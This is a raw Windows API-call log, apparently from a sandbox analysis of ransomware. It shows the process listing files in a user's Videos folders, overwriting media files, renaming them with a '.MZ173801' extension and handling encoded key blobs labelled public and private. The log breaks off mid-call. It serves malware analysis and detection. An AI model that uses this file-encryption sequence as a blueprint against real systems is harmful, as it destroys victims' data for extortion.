lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.037] GetCurrentThreadId () returned 0xab4 [0165.037] GetCurrentThreadId () returned 0xab4 [0165.037] GetCurrentThreadId () returned 0xab4 [0165.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.037] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.037] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.038] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1365a [0165.038] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.038] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1365a, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x1365a, lpOverlapped=0x0) returned 1 [0165.039] CloseHandle (hObject=0x2f8) returned 1 [0165.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.043] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x1365a, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19f758*=0x1365a, lpOverlapped=0x0) returned 1 [0165.054] CloseHandle (hObject=0x2f8) returned 1 [0165.059] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\MZb5e8JNXGX.mp4.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\7uajhnura\\mzb5e8jnxgx.mp4.mz173801")) returned 1 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] GetCurrentThreadId () returned 0xab4 [0165.335] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8e5b0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x919e4450, ftLastAccessTime.dwHighDateTime=0x1d5e623, ftLastWriteTime.dwLowDateTime=0x919e4450, ftLastWriteTime.dwHighDateTime=0x1d5e623, nFileSizeHigh=0x0, nFileSizeLow=0x1365a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MZb5e8JNXGX.mp4", cAlternateFileName="MZB5E8~1.MP4")) returned 0 [0165.335] GetLastError () returned 0x12 [0165.335] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0165.336] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\7uaJhnURa\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0x8c962e4f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8c962e4f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0165.336] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0165.336] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.336] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7bb53770, ftCreationTime.dwHighDateTime=0x1d5ec45, ftLastAccessTime.dwLowDateTime=0x8c962e4f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8c962e4f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0165.336] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.336] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.336] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8e5b0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x919e4450, ftLastAccessTime.dwHighDateTime=0x1d5e623, ftLastWriteTime.dwLowDateTime=0x8c857dfa, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1365a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MZb5e8JNXGX.mp4.MZ173801", cAlternateFileName="MZB5E8~1.MZ1")) returned 1 [0165.336] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.336] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.336] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8e5b0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x919e4450, ftLastAccessTime.dwHighDateTime=0x1d5e623, ftLastWriteTime.dwLowDateTime=0x8c857dfa, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1365a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MZb5e8JNXGX.mp4.MZ173801", cAlternateFileName="MZB5E8~1.MZ1")) returned 0 [0165.336] GetLastError () returned 0x12 [0165.336] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0165.336] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x676dca00, ftCreationTime.dwHighDateTime=0x1d5e42c, ftLastAccessTime.dwLowDateTime=0xdce17840, ftLastAccessTime.dwHighDateTime=0x1d5e3b4, ftLastWriteTime.dwLowDateTime=0x8c025cb5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x13d43, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CvIf.swf.MZ173801", cAlternateFileName="CVIFSW~1.MZ1")) returned 1 [0165.336] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.336] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.336] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.337] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1956d580, ftCreationTime.dwHighDateTime=0x1d5efc3, ftLastAccessTime.dwLowDateTime=0xb741aa20, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0x8c025cb5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x7f09, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fYpIk.mp4.MZ173801", cAlternateFileName="FYPIKM~1.MZ1")) returned 1 [0165.337] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.337] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.337] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e5ff30, ftCreationTime.dwHighDateTime=0x1d5ea1e, ftLastAccessTime.dwLowDateTime=0x35f424b0, ftLastAccessTime.dwHighDateTime=0x1d5e65c, ftLastWriteTime.dwLowDateTime=0x8c1a3346, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x21ce, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Io wk8vMTXy-go.swf.MZ173801", cAlternateFileName="IOWK8V~1.MZ1")) returned 1 [0165.337] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.337] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.337] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50015410, ftCreationTime.dwHighDateTime=0x1d5ec54, ftLastAccessTime.dwLowDateTime=0xde0b4650, ftLastAccessTime.dwHighDateTime=0x1d5e856, ftLastWriteTime.dwLowDateTime=0x8c726ab9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x107b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="K7frokp1X.avi.MZ173801", cAlternateFileName="K7FROK~1.MZ1")) returned 1 [0165.337] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.337] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.337] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0xec9a0a70, ftLastAccessTime.dwHighDateTime=0x1d5ed5c, ftLastWriteTime.dwLowDateTime=0xec9a0a70, ftLastWriteTime.dwHighDateTime=0x1d5ed5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="mrC2", cAlternateFileName="")) returned 1 [0165.337] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0165.337] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0165.337] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0xec9a0a70, ftLastAccessTime.dwHighDateTime=0x1d5ed5c, ftLastWriteTime.dwLowDateTime=0xec9a0a70, ftLastWriteTime.dwHighDateTime=0x1d5ed5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0165.337] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0xec9a0a70, ftLastAccessTime.dwHighDateTime=0x1d5ed5c, ftLastWriteTime.dwLowDateTime=0xec9a0a70, ftLastWriteTime.dwHighDateTime=0x1d5ed5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0165.337] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c06680, ftCreationTime.dwHighDateTime=0x1d5f093, ftLastAccessTime.dwLowDateTime=0xcd876bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0be, ftLastWriteTime.dwLowDateTime=0xcd876bf0, ftLastWriteTime.dwHighDateTime=0x1d5e0be, nFileSizeHigh=0x0, nFileSizeLow=0x8041, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="-a8H16g7Z8.flv", cAlternateFileName="-A8H16~1.FLV")) returned 1 [0165.337] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0165.337] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c06680, ftCreationTime.dwHighDateTime=0x1d5f093, ftLastAccessTime.dwLowDateTime=0xcd876bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0be, ftLastWriteTime.dwLowDateTime=0xcd876bf0, ftLastWriteTime.dwHighDateTime=0x1d5e0be, nFileSizeHigh=0x0, nFileSizeLow=0x8041)) returned 1 [0165.337] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv")) returned 0x20 [0165.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv", dwFileAttributes=0x80) returned 1 [0165.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 